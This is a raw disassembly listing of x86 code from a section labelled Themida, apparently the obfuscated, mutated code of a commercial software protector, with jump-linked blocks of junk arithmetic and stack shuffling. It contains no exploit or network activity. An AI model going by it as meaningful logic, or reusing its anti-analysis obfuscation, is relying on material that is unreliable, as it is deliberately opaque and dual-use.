loc_5706E9:				; CODE XREF: Themida_:0056F38Cj
		mov	edx, 661C6D26h
		xchg	esi, edx
		neg	esi
		xchg	esi, edx
		inc	edx
		jmp	loc_56B490
; ---------------------------------------------------------------------------


loc_5706FA:				; CODE XREF: Themida_:005635A7j
		pop	esi
		add	esi, eax
		pop	eax
		sub	esi, 4
		jmp	loc_5722DF
; ---------------------------------------------------------------------------


loc_570709:				; CODE XREF: Themida_:0056D51Cj
		mov	esi, edi
		pop	edi
		and	esi, 2F0259C4h
		jmp	loc_56964A
; ---------------------------------------------------------------------------


loc_570717:				; CODE XREF: Themida_:00563842j
		add	dh, 34h
		jmp	loc_574717
; ---------------------------------------------------------------------------
		lodsd
		xor	eax, ebx
		sub	esp, 4
		mov	[esp], ecx
		push	79D7h
		mov	[esp], ebx
		push	5AB655D8h
		mov	ebx, [esp]
		jmp	loc_568A2C
; ---------------------------------------------------------------------------


loc_57073D:				; CODE XREF: Themida_:0056DAD0j
		xor	ecx, 44A33587h
		add	ecx, 2010F2ABh
		sub	eax, ecx
		pop	ecx
		sub	esp, 4
		jmp	loc_568969
; ---------------------------------------------------------------------------


loc_570754:				; CODE XREF: Themida_:00573380j
		push	ecx
		mov	ecx, 0DDC0538Ch
		add	ebp, ecx
		jmp	loc_5694C7
; ---------------------------------------------------------------------------


loc_570761:				; CODE XREF: Themida_:0055F8E4j
		push	dword ptr [esp]
		pop	eax
		jmp	loc_5740B8
; ---------------------------------------------------------------------------


loc_57076A:				; CODE XREF: Themida_:0055FE3Aj
		push	dword ptr [esp]
		mov	ebx, [esp]
		jmp	loc_560BB6
; ---------------------------------------------------------------------------


loc_570775:				; CODE XREF: Themida_:0056A5D9j
		sub	al, 0A1h
		add	bl, al
		pop	eax
		push	bx
		mov	bh, 58h
		jmp	loc_571C4C
; ---------------------------------------------------------------------------


loc_570783:				; CODE XREF: Themida_:0056CF7Bj
		mov	ebx, [esp]
		add	esp, 4
		push	small 7C24h
		jmp	loc_562C0D
; ---------------------------------------------------------------------------


loc_570795:				; CODE XREF: Themida_:00568239j
		add	[esp], eax
		push	5435h
		mov	[esp], edi
		mov	edi, 7EAB2F81h
		jmp	loc_56D16F
; ---------------------------------------------------------------------------


loc_5707AA:				; CODE XREF: Themida_:0055F983j
		shr	ecx, 1
		add	ecx, 46DE6A0Ch
		and	ecx, 5B221B59h
		and	ecx, 1AB46D96h
		xor	ecx, 24F32EDh
		push	ecx
		jmp	loc_566330
; ---------------------------------------------------------------------------


loc_5707CA:				; CODE XREF: Themida_:00566725j
		mov	ebp, [esp]
		add	esp, 4
		xor	eax, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_562AFF
; ---------------------------------------------------------------------------


loc_5707E0:				; CODE XREF: Themida_:0056D647j
		xor	ebx, [esp]
		jmp	loc_56AB15
; ---------------------------------------------------------------------------


loc_5707E8:				; CODE XREF: Themida_:0055F7BDj
		xchg	ecx, [esp]
		pop	esp
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_571CD9
; ---------------------------------------------------------------------------


loc_5707F7:				; CODE XREF: Themida_:005726C2j
		pop	eax
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 4
		sub	eax, 5AB4048Ch
		jmp	loc_5741ED
; ---------------------------------------------------------------------------
		mov	ax, fs:[edx]
		push	eax
		push	esp
		pop	eax
		add	eax, 4
		push	ecx
		push	ebp
		jmp	loc_572EAD
; ---------------------------------------------------------------------------


loc_570823:				; CODE XREF: Themida_:00560D15j
		add	dword ptr [esp], 4
		mov	ebp, [esp]
		add	esp, 4
		push	edx
		mov	edx, 4
		jmp	loc_561E07
; ---------------------------------------------------------------------------


loc_57083B:				; CODE XREF: Themida_:00563115j
		sub	esi, 2066D74h
		add	esi, edx
		push	ebp
		mov	ebp, 5BA229A6h
		shl	ebp, 3
		inc	ebp
		jmp	loc_5653A6
; ---------------------------------------------------------------------------


loc_570852:				; CODE XREF: Themida_:00570AEEj
		mov	ebp, 3ED05F13h
		jmp	loc_56F762
; ---------------------------------------------------------------------------


loc_57085C:				; CODE XREF: Themida_:0056981Fj
		sub	ecx, 0C8E9967Fh
		jmp	loc_56A13F
; ---------------------------------------------------------------------------


loc_570867:				; CODE XREF: Themida_:00562056j
		mov	ebx, [esp]
		add	esp, 4
		mov	ecx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		push	ecx
		jmp	loc_56735F
; ---------------------------------------------------------------------------


loc_57087E:				; CODE XREF: Themida_:00566702j
		mov	eax, 6D9ADFD9h
		add	ebx, eax
		pop	eax
		sub	edi, ebx
		jmp	loc_5743B2
; ---------------------------------------------------------------------------


loc_57088D:				; CODE XREF: Themida_:00569AE6j
		pop	esp
		mov	[esp], edi
		jmp	loc_564CC5
; ---------------------------------------------------------------------------


loc_570896:				; CODE XREF: Themida_:00571474j
		mov	ebp, 7B483A10h
		sub	ebp, 7B483A0Ch
		add	edi, ebp
		pop	ebp
		push	775Ah
		mov	[esp], esi
		mov	esi, 4
		sub	edi, esi
		jmp	loc_56B8B2
; ---------------------------------------------------------------------------


loc_5708B8:				; CODE XREF: Themida_:005694C2j
		sub	edx, 19066009h
		pop	edi
		jmp	loc_5676B4
; ---------------------------------------------------------------------------


loc_5708C4:				; CODE XREF: Themida_:00560DAAj
		push	edx
		not	dword ptr [esp]
		pop	edx
		or	edx, 226C5671h
		jmp	loc_5652B3
; ---------------------------------------------------------------------------


loc_5708D4:				; CODE XREF: Themida_:0056F853j
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_560020
; ---------------------------------------------------------------------------


loc_5708E2:				; CODE XREF: Themida_:00572E58j
		add	al, 6
		sub	al, bh
		sub	al, 6
		push	dx
		mov	dh, 0D8h
		sub	al, dh
		pop	dx
		push	bx
		mov	bl, 0D0h
		add	al, bl
		pop	bx
		add	al, 81h
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_5743CD
; ---------------------------------------------------------------------------


loc_570905:				; CODE XREF: Themida_:0056A49Bj
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		add	esp, 4
		xor	eax, esi
		xor	esi, eax
		xor	eax, esi
		push	esi
		jmp	loc_55FB43
; ---------------------------------------------------------------------------


loc_570926:				; CODE XREF: Themida_:0055F690j
		add	cl, dh
		jmp	loc_56F70F
; ---------------------------------------------------------------------------


loc_57092D:				; CODE XREF: Themida_:0056766Ej
		xor	eax, 4D61116Dh
		push	eax
		jmp	loc_56A29E
; ---------------------------------------------------------------------------


loc_570938:				; CODE XREF: Themida_:00566EB4j
		and	esi, ebp
		jmp	loc_572C83
; ---------------------------------------------------------------------------
		db 66h
		dd 5724048Bh, 491468h, 75D0E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_57094E:				; CODE XREF: Themida_:00573351j
		push	edx
		mov	edx, 7BDA07E6h
		jmp	loc_572774
; ---------------------------------------------------------------------------


loc_570959:				; CODE XREF: Themida_:00570F1Bj
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		jmp	loc_564971
; ---------------------------------------------------------------------------


loc_570976:				; CODE XREF: Themida_:00562908j
		sub	bl, 0B4h
		and	bl, 0B2h
		shl	bl, 7
		add	bl, 1Fh
		push	0AC3h
		mov	[esp], eax
		mov	ah, bl
		jmp	loc_570331
; ---------------------------------------------------------------------------


loc_570991:				; CODE XREF: Themida_:00571E5Bj
		pop	ebx
		pop	dword ptr [esp]
		mov	esp, [esp]
		btc	[esp], ax
		pushf
		jmp	loc_5687D1
; ---------------------------------------------------------------------------


loc_5709A3:				; CODE XREF: Themida_:00566769j
		mov	esp, [esp]
		mov	[esp], ecx
		push	edx
		jmp	loc_56EFE8
; ---------------------------------------------------------------------------


loc_5709AF:				; CODE XREF: Themida_:0056D98Aj
		sub	edi, 66ED57A2h
		or	edi, 4E4F2AB6h
		sub	edi, 44E71F28h
		jmp	loc_56332C
; ---------------------------------------------------------------------------


loc_5709C6:				; CODE XREF: Themida_:005603ACj
		neg	eax
		add	eax, 7BF6DB36h
		sub	ecx, eax
		pop	eax
		jmp	loc_55FD46
; ---------------------------------------------------------------------------


loc_5709D5:				; CODE XREF: Themida_:0056D5D4j
		mov	[esp], edi
		push	esp
		mov	edi, [esp]
		jmp	loc_56F2B1
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		jmp	loc_562962
; ---------------------------------------------------------------------------


loc_5709EA:				; CODE XREF: Themida_:005680FCj
		add	ecx, eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_5670FD
; ---------------------------------------------------------------------------


loc_5709FA:				; CODE XREF: Themida_:005611EFj
		sub	ebp, 63541706h
		pop	edi
		add	edi, 6A0733EBh
		push	eax
		mov	eax, 76E93E2Dh
		add	edi, eax
		pop	eax
		sub	edi, 7A924651h
		add	edi, ebp
		jmp	loc_572B66
; ---------------------------------------------------------------------------


loc_570A1D:				; CODE XREF: Themida_:0056A0EFj
		inc	ebp
		jmp	loc_567BDE
; ---------------------------------------------------------------------------


loc_570A23:				; CODE XREF: Themida_:005729F6j
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		jmp	loc_56666E
; ---------------------------------------------------------------------------


loc_570A32:				; CODE XREF: Themida_:0056393Bj
		mov	esp, [esp]
		jmp	loc_56D206
; ---------------------------------------------------------------------------


loc_570A3A:				; CODE XREF: Themida_:00563F8Cj
		mov	eax, esi
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		add	eax, edi
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 0
		jmp	loc_567986
; ---------------------------------------------------------------------------


loc_570A58:				; CODE XREF: Themida_:00567CE0j
		push	cx
		mov	ch, 5Eh
		sub	bh, ch
		pop	cx
		mov	dh, bh
		pop	ebx
		shr	dh, 5
		jmp	loc_56E57D
; ---------------------------------------------------------------------------


loc_570A6B:				; CODE XREF: Themida_:00560947j
		push	edx
		mov	edx, 4AFC4651h
		and	ebx, edx
		pop	edx
		jmp	loc_5664AA
; ---------------------------------------------------------------------------


loc_570A79:				; CODE XREF: Themida_:00569294j
		sub	esp, 4
		mov	[esp], edi
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], eax
		push	ebx
		mov	ebx, 336FA7CCh
		push	ebx
		mov	eax, [esp]
		push	ebx
		push	esp
		mov	ebx, [esp]
		add	esp, 4
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		pop	ebx
		jmp	loc_57405A
; ---------------------------------------------------------------------------


loc_570ABF:				; CODE XREF: Themida_:00573F34j
		mov	ebx, 2
		push	ebp
		mov	ebp, 7145078Bh
		add	eax, ebp
		mov	ebp, [esp]
		jmp	loc_564216
; ---------------------------------------------------------------------------


loc_570AD4:				; CODE XREF: Themida_:0055F72Aj
		sub	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_56C494
; ---------------------------------------------------------------------------


loc_570ADF:				; CODE XREF: Themida_:005644DEj
		mov	edi, edx
		pop	edx
		mov	eax, [esp]
		jmp	loc_566640
; ---------------------------------------------------------------------------
		lodsd
		xor	eax, ebx
		push	ebp
		jmp	loc_570852
; ---------------------------------------------------------------------------


loc_570AF3:				; CODE XREF: Themida_:0056392Aj
		not	bh
		jmp	loc_57370A
; ---------------------------------------------------------------------------


loc_570AFA:				; CODE XREF: Themida_:0056F6E8j
		sub	esi, 1CAB6E42h
		dec	esi
		shr	esi, 3
		or	esi, 657517Eh
		jmp	loc_56049A
; ---------------------------------------------------------------------------


loc_570B0F:				; CODE XREF: Themida_:005731A0j
		push	edx
		push	edi
		mov	edi, 5C8F1928h
		xor	edi, 2E007103h
		push	edi
		pop	edx
		jmp	loc_56918C
; ---------------------------------------------------------------------------


loc_570B23:				; CODE XREF: Themida_:00566659j
		pop	eax
		xor	edi, 7269089Ch
		xor	edi, 56147326h
		push	ecx
		mov	ecx, 120FBBB7h
		jmp	loc_56DBC9
; ---------------------------------------------------------------------------


loc_570B3B:				; CODE XREF: Themida_:0056A530j
		add	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		push	edi
		mov	edi, 215E4117h
		sub	eax, edi
		pop	edi
		add	eax, edx
		add	eax, 215E4117h
		sub	eax, 49BE6AF7h
		jmp	loc_570E27
; ---------------------------------------------------------------------------


loc_570B60:				; CODE XREF: Themida_:005617F3j
		add	ebp, 4
		jmp	loc_55F68C
; ---------------------------------------------------------------------------


loc_570B68:				; CODE XREF: Themida_:00563C8Bj
		pop	edx
		jmp	loc_568E58
; ---------------------------------------------------------------------------


loc_570B6E:				; CODE XREF: Themida_:00564B4Aj
		shl	esi, 7
		xor	esi, 874869B2h
		sub	eax, esi
		pop	esi
		add	eax, esi
		add	eax, 58E61532h
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		add	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		popa
		jmp	loc_56146A
; ---------------------------------------------------------------------------


loc_570BA2:				; CODE XREF: Themida_:0056BCBFj
		mov	edi, 0EB741E95h
		sub	eax, edi
		pop	edi
		mov	edi, eax
		mov	eax, [esp]
		add	esp, 4
		add	[esp+4], edi
		pop	edi
		sub	dword ptr [esp], 3D6A1Ah
		push	edx
		mov	edx, 66CB62E9h
		neg	edx
		xchg	eax, edx
		jmp	loc_572A72
; ---------------------------------------------------------------------------


loc_570BCC:				; CODE XREF: Themida_:0056DA06j
		pop	eax
		sub	eax, 3BCF4C59h
		jmp	loc_5629A3
; ---------------------------------------------------------------------------


loc_570BD7:				; CODE XREF: Themida_:00565291j
		not	bh
		push	edx
		mov	dl, 5Dh
		xchg	bh, dl
		jmp	loc_562631
; ---------------------------------------------------------------------------


loc_570BE3:				; CODE XREF: Themida_:00570D46j
		mov	ebp, [esp]
		add	esp, 4
		add	ebp, 4
		push	216Eh
		mov	[esp], eax
		jmp	loc_56159F
; ---------------------------------------------------------------------------


loc_570BFF:				; CODE XREF: Themida_:0056FC11j
		mov	[esp], eax
		jmp	loc_55F55C
; ---------------------------------------------------------------------------


loc_570C07:				; CODE XREF: Themida_:00569187j
		pop	edx
		sub	ebp, 0A9ECE01Ah
		mov	edi, ebp
		pop	ebp
		sub	edi, 68E4778Ah
		neg	edi
		add	edi, 36B43A2Eh
		push	edx
		mov	edx, 9A60AB6Fh
		sub	edi, edx
		pop	edx
		add	ebp, edi
		mov	edi, [esp]
		push	4078h
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		sub	ebp, 4
		push	2674h
		mov	[esp], ebp
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	ebp
		jmp	loc_56EF96
; ---------------------------------------------------------------------------


loc_570C62:				; CODE XREF: Themida_:00569968j
		add	esp, 4
		and	eax, edi
		pop	edi
		jmp	loc_56BC20
; ---------------------------------------------------------------------------


loc_570C70:				; CODE XREF: Themida_:0056D6D1j
		mov	[esp], edx
		push	eax
		pushf
		jmp	loc_55F55C
; ---------------------------------------------------------------------------


loc_570C7A:				; CODE XREF: Themida_:0056EFC6j
		pop	edi
		push	eax
		mov	eax, 41E22091h
		jmp	loc_56B339
; ---------------------------------------------------------------------------


loc_570C86:				; CODE XREF: Themida_:0056101Cj
		xchg	edi, esi
		push	6E51h
		mov	[esp], ecx
		push	609Fh
		mov	[esp], eax
		push	2F5434Eh
		jmp	loc_5630B8
; ---------------------------------------------------------------------------


loc_570CA2:				; CODE XREF: Themida_:00573983j
		pop	edx
		push	esi
		mov	esi, 0C4244C6h
		shl	esi, 7
		add	esi, 2B61EF66h
		sub	edx, esi
		jmp	loc_5731EA
; ---------------------------------------------------------------------------


loc_570CB9:				; CODE XREF: Themida_:0056D6E4j
		sub	esp, 4
		mov	[esp], ebx
		push	eax
		mov	ah, 0C0h
		mov	bh, ah
		pop	eax
		shr	bh, 1
		jmp	loc_563EC6
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		jmp	loc_56EEAE
; ---------------------------------------------------------------------------


loc_570CDB:				; CODE XREF: Themida_:0056A95Bj
		mov	[esp], ebx
		push	eax
		mov	eax, 3DFFFFAh
		mov	ebx, eax
		pop	eax
		xor	ecx, ebx
		mov	ebx, [esp]
		add	esp, 4
		add	edi, 29864CF9h
		add	edi, ecx
		push	ebx
		mov	ebx, 0A06E5Dh
		add	ebx, 224B2017h
		or	ebx, 1D576204h
		or	ebx, 2416105Eh
		add	ebx, 0E9864E7Bh
		sub	edi, ebx
		pop	ebx
		pop	ecx
		push	3F21h
		mov	[esp], edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	2B7Ch
		mov	[esp], ebp
		push	1249h
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_570BE3
; ---------------------------------------------------------------------------


loc_570D4B:				; CODE XREF: Themida_:00573FADj
		pop	edi
		add	ebp, ecx
		pop	ecx
		jmp	loc_571213
; ---------------------------------------------------------------------------


loc_570D54:				; CODE XREF: Themida_:005677C5j
		pop	esp
		mov	eax, [esp]
		push	edi
		push	esp
		jmp	loc_571EA6
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		jmp	loc_56D739
; ---------------------------------------------------------------------------


loc_570D7A:				; CODE XREF: Themida_:00569DE0j
		xchg	edi, [esp]
		pop	esp
		mov	[esp], edi
		mov	edi, 1D4D2D74h
		push	ebp
		mov	ebp, 2B1E1DCEh
		shl	ebp, 1
		shl	ebp, 6
		sub	esp, 4
		jmp	loc_56D0B5
; ---------------------------------------------------------------------------


loc_570D99:				; CODE XREF: Themida_:00560651j
		sub	ebp, 217B2D59h
		jmp	loc_564FD1
; ---------------------------------------------------------------------------


loc_570DA4:				; CODE XREF: Themida_:0056EED3j
		jmp	loc_55F55C
; ---------------------------------------------------------------------------


loc_570DA9:				; CODE XREF: Themida_:0056E203j
		xor	ebp, esi
		pop	esi
		sub	ebp, 1FFB0055h
		add	eax, ebp
		mov	ebp, [esp]
		jmp	loc_56EE99
; ---------------------------------------------------------------------------


loc_570DBC:				; CODE XREF: Themida_:00567B09j
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		xchg	ebp, [esp]
		mov	esp, [esp]
		and	[esp], eax
		pushf
		jmp	loc_564B4F
; ---------------------------------------------------------------------------


loc_570DD2:				; CODE XREF: Themida_:00571051j
		pop	cx
		jmp	loc_56C442
; ---------------------------------------------------------------------------


loc_570DD9:				; CODE XREF: Themida_:00561A8Fj
		mov	ch, 0C1h
		inc	ch
		xor	ch, 1Fh
		mov	dl, ch
		jmp	loc_568C47
; ---------------------------------------------------------------------------


loc_570DE7:				; CODE XREF: Themida_:0056B9B3j
		mov	esi, 4D065172h
		xor	edi, esi
		jmp	loc_56BDDE
; ---------------------------------------------------------------------------


loc_570DF3:				; CODE XREF: Themida_:00572206j
		mov	esp, [esp]
		jmp	loc_5627CC
; ---------------------------------------------------------------------------


loc_570DFB:				; CODE XREF: Themida_:0056C8FFj
		mov	esi, 240B881Ch
		mov	ecx, esi
		jmp	loc_562258
; ---------------------------------------------------------------------------


loc_570E07:				; CODE XREF: Themida_:0056BE57j
		mov	edi, 664779CCh
		mov	edx, edi
		pop	edi
		jmp	loc_574704
; ---------------------------------------------------------------------------


loc_570E14:				; CODE XREF: Themida_:0056DE10j
		xor	eax, ebx
		pop	ebx
		jmp	loc_56327F
; ---------------------------------------------------------------------------


loc_570E1C:				; CODE XREF: Themida_:00563F49j
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_564C86
; ---------------------------------------------------------------------------


loc_570E27:				; CODE XREF: Themida_:00570B5Bj
		push	ebx
		push	edx
		push	ebp
		mov	ebp, 74604201h
		jmp	loc_563007
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	edi
		push	esp
		pop	edi
		jmp	loc_5688CD
; ---------------------------------------------------------------------------


loc_570E40:				; CODE XREF: Themida_:0056EEFAj
		push	0B4E4766h
		pop	edi
		add	edi, 527511F8h
		jmp	loc_564F00
; ---------------------------------------------------------------------------


loc_570E51:				; CODE XREF: Themida_:00573662j
		mov	eax, 13204C55h
		sub	eax, 0D5E810EDh
		mov	ecx, eax
		pop	eax
		sub	ecx, 0FFFFFFFFh
		push	eax
		mov	eax, 1
		jmp	loc_56B8CE
; ---------------------------------------------------------------------------


loc_570E6C:				; CODE XREF: Themida_:00570F60j
		xor	cl, bh
		mov	ebx, [esp]
		push	edx
		mov	edx, esp
		push	ecx
		mov	ecx, 4
		add	edx, ecx
		pop	ecx
		push	edi
		mov	edi, 4
		jmp	loc_56B5FF
; ---------------------------------------------------------------------------


loc_570E88:				; CODE XREF: Themida_:0056324Dj
		mov	eax, [esp]
		add	esp, 4
		mov	ebp, 0C55D12B1h
		add	ebp, esi
		push	dword ptr [esp]
		jmp	loc_57022E
; ---------------------------------------------------------------------------


loc_570EA0:				; CODE XREF: Themida_:00564D8Dj
		xor	ecx, 27E9596Ah
		sub	ecx, 0E73FBEC3h
		push	edi
		mov	edi, 668273F9h
		add	eax, edi
		pop	edi
		jmp	loc_561470
; ---------------------------------------------------------------------------


loc_570EBA:				; CODE XREF: Themida_:00564DA6j
		mov	esi, [esp]
		push	0FE6h
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_5719DA
; ---------------------------------------------------------------------------


loc_570ED2:				; CODE XREF: Themida_:00566F75j
		mov	[esp], ebx
		mov	eax, [esp]
		push	ecx
		mov	ecx, esp
		push	esi
		mov	esi, 1B1E163Fh
		shr	esi, 7
		push	ebx
		mov	ebx, 56417582h
		add	esi, ebx
		jmp	loc_56C7A1
; ---------------------------------------------------------------------------


loc_570EF1:				; CODE XREF: Themida_:00567407j
		pop	esi
		sub	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_56FD3D
; ---------------------------------------------------------------------------


loc_570F00:				; CODE XREF: Themida_:00572C86j
		add	esp, 4
		jmp	loc_56031D
; ---------------------------------------------------------------------------


loc_570F0B:				; CODE XREF: Themida_:00561CCFj
		mov	bh, 0C0h
		shl	bh, 6
		shl	bh, 7
		jmp	loc_56A3AF
; ---------------------------------------------------------------------------


loc_570F18:				; CODE XREF: Themida_:0055F780j
		mov	edi, [esp]
		jmp	loc_570959
; ---------------------------------------------------------------------------


loc_570F20:				; CODE XREF: Themida_:00568D48j
		shr	cl, 1
		and	cl, 46h
		jmp	loc_573DC6
; ---------------------------------------------------------------------------


loc_570F2A:				; CODE XREF: Themida_:00560838j
		mov	esi, 3D673F77h
		sub	esi, 0F6567BAh
		or	esi, 427424DBh
		inc	esi
		jmp	loc_572D7F
; ---------------------------------------------------------------------------


loc_570F41:				; CODE XREF: Themida_:00569AD8j
		xor	ebx, 0C57E8972h
		sub	ecx, ebx
		jmp	loc_56352D
; ---------------------------------------------------------------------------


loc_570F4E:				; CODE XREF: Themida_:00573083j
		or	eax, eax
		jnz	loc_560A73
		push	edi
		jmp	loc_5640A9
; ---------------------------------------------------------------------------


loc_570F5C:				; CODE XREF: Themida_:0055F7C4j
		mov	bh, 0A4h
		mov	cl, 0CBh
		jmp	loc_570E6C
; ---------------------------------------------------------------------------


loc_570F65:				; CODE XREF: Themida_:00560773j
		mov	dl, 10h
		mov	cl, dl
		pop	edx
		sub	esp, 4
		mov	[esp], eax
		mov	al, 0A0h
		shr	al, 8
		dec	al
		push	7FB3h
		jmp	loc_56BB4A
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		jmp	loc_56C4A5
; ---------------------------------------------------------------------------


loc_570F89:				; CODE XREF: Themida_:0056C825j
		add	esp, 4
		sub	eax, 3AB07AC7h
		push	eax
		xchg	eax, [esp]
		not	eax
		xchg	eax, [esp]
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_55FFAF
; ---------------------------------------------------------------------------


loc_570FAB:				; CODE XREF: Themida_:00568CE6j
		mov	ebx, 614252BEh
		add	edx, ebx
		jmp	loc_562D27
; ---------------------------------------------------------------------------


loc_570FB7:				; CODE XREF: Themida_:0056ACA2j
		mov	ebx, 24144D6Eh
		not	ebx
		push	ebx
		neg	dword ptr [esp]
		pop	ebx
		sub	ebx, 71745273h
		push	eax
		mov	eax, 5DDF0A1Ch
		add	ebx, eax
		pop	eax
		add	ebx, 0EF80FAEAh
		add	esi, ebx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		div	cx
		push	small 2934h
		mov	[esp], dx
		push	ax
		pushf
		jmp	loc_55F55C
; ---------------------------------------------------------------------------


loc_570FFA:				; CODE XREF: Themida_:0056604Ej
		push	eax
		push	ecx
		mov	ecx, 3BCE76BEh
		xor	ecx, 5544B85h
		push	ebp
		mov	ebp, ecx
		mov	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_5678DC
; ---------------------------------------------------------------------------


loc_57101A:				; CODE XREF: Themida_:0056DB87j
		push	edx
		mov	dl, 22h
		push	5B53h
		mov	[esp], ecx
		jmp	loc_564031
; ---------------------------------------------------------------------------


loc_57102A:				; CODE XREF: Themida_:0056F7ADj
		pop	edx
		jmp	loc_56BA4D
; ---------------------------------------------------------------------------


loc_571030:				; CODE XREF: Themida_:00561FEEj
		add	ecx, ebp
		pop	ebp
		jmp	loc_571AAA
; ---------------------------------------------------------------------------


loc_571038:				; CODE XREF: Themida_:005655A8j
		mov	edx, esi
		jmp	loc_56B18E
; ---------------------------------------------------------------------------


loc_57103F:				; CODE XREF: Themida_:0057185Dj
		pop	edi
		jmp	loc_56119E
; ---------------------------------------------------------------------------


loc_571045:				; CODE XREF: Themida_:00573E58j
		add	cl, 0C5h
		add	dh, cl
		pop	ecx
		push	cx
		mov	cl, 5Dh
		sub	dh, cl
		jmp	loc_570DD2
; ---------------------------------------------------------------------------


loc_571056:				; CODE XREF: Themida_:005621DEj
		xor	ebp, esi
		pop	esi
		push	17E0h
		mov	[esp], edx
		mov	edx, 1F41B50Fh
		push	ecx
		mov	ecx, 1D3853B1h
		or	ecx, 6CF34BF0h
		shr	ecx, 2
		jmp	loc_568FC2
; ---------------------------------------------------------------------------


loc_57107A:				; CODE XREF: Themida_:005639AEj
		pop	ebp
		pop	ecx
		push	edi
		mov	edi, 2A3D17B2h
		push	9E5h
		mov	[esp], edi
		not	dword ptr [esp]
		pop	edi
		and	edi, 542B2A9Fh
		dec	edi
		sub	edi, 0D08C929h
		jmp	loc_573D8A
; ---------------------------------------------------------------------------


loc_5710A0:				; CODE XREF: Themida_:00573D7Ej
		add	dword ptr [esp], 4
		pop	esi
		jmp	loc_56885C
; ---------------------------------------------------------------------------


loc_5710AD:				; CODE XREF: Themida_:0056B7C4j
		add	[esp+4], ebx
		mov	ebx, [esp]
		add	esp, 4
		pop	ebp
		push	esi
		mov	esi, 46BF4649h
		push	eax
		push	edi
		mov	edi, 5A0B2CDCh
		dec	edi
		not	edi
		inc	edi
		neg	edi
		neg	edi
		xor	edi, 0E93A8F77h
		mov	eax, edi
		pop	edi
		xor	esi, eax
		pop	eax
		dec	esi
		push	ecx
		mov	ecx, 3B142739h
		add	esi, ecx
		pop	ecx
		jmp	loc_5739FA
; ---------------------------------------------------------------------------


loc_5710E8:				; CODE XREF: Themida_:00566D4Aj
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_564E0F
; ---------------------------------------------------------------------------


loc_5710F3:				; CODE XREF: Themida_:00567DC1j
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		neg	cl
		jmp	loc_5630F4
; ---------------------------------------------------------------------------


loc_571107:				; CODE XREF: Themida_:0056F933j
		add	esp, 4
		sub	edi, 64C2AD8h
		add	edi, 0A9F96121h
		xor	eax, edi
		push	dword ptr [esp]
		pop	edi
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		add	edx, eax
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	0A28h
		mov	[esp], edx
		push	dword ptr [esp+4]
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_56251D
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	eax
		sbb	[esp], eax
		pushf
		jmp	loc_55F55C
; ---------------------------------------------------------------------------


loc_571160:				; CODE XREF: Themida_:00566FE8j
		pop	esp
		jmp	loc_568D5B
; ---------------------------------------------------------------------------


loc_571166:				; CODE XREF: Themida_:0057186Fj
		mov	cl, 66h
		shl	cl, 3
		jmp	loc_574793
; ---------------------------------------------------------------------------


loc_571170:				; CODE XREF: Themida_:00562859j
		sub	bl, al
		sub	bl, 79h
		jmp	loc_565381
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	209Bh
		mov	[esp], ecx
		push	esp
		mov	ecx, [esp]
		jmp	loc_57049D
; ---------------------------------------------------------------------------


loc_57118F:				; CODE XREF: Themida_:0056BCAEj
		push	esi
		mov	esi, 66665117h
		not	esi
		jmp	loc_56C76C
; ---------------------------------------------------------------------------


loc_57119C:				; CODE XREF: Themida_:0056CFFBj
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_56476B
; ---------------------------------------------------------------------------


loc_5711A7:				; CODE XREF: Themida_:00569EF5j
		pop	esp
		mov	[esp], edx
		mov	edx, esp
		push	1A39h
		mov	[esp], edi
		push	eax
		push	573D2B68h
		pop	eax
		jmp	loc_56766B
; ---------------------------------------------------------------------------


loc_5711C1:				; CODE XREF: Themida_:0056C046j
		pop	ecx
		push	ebp
		mov	ebp, 4
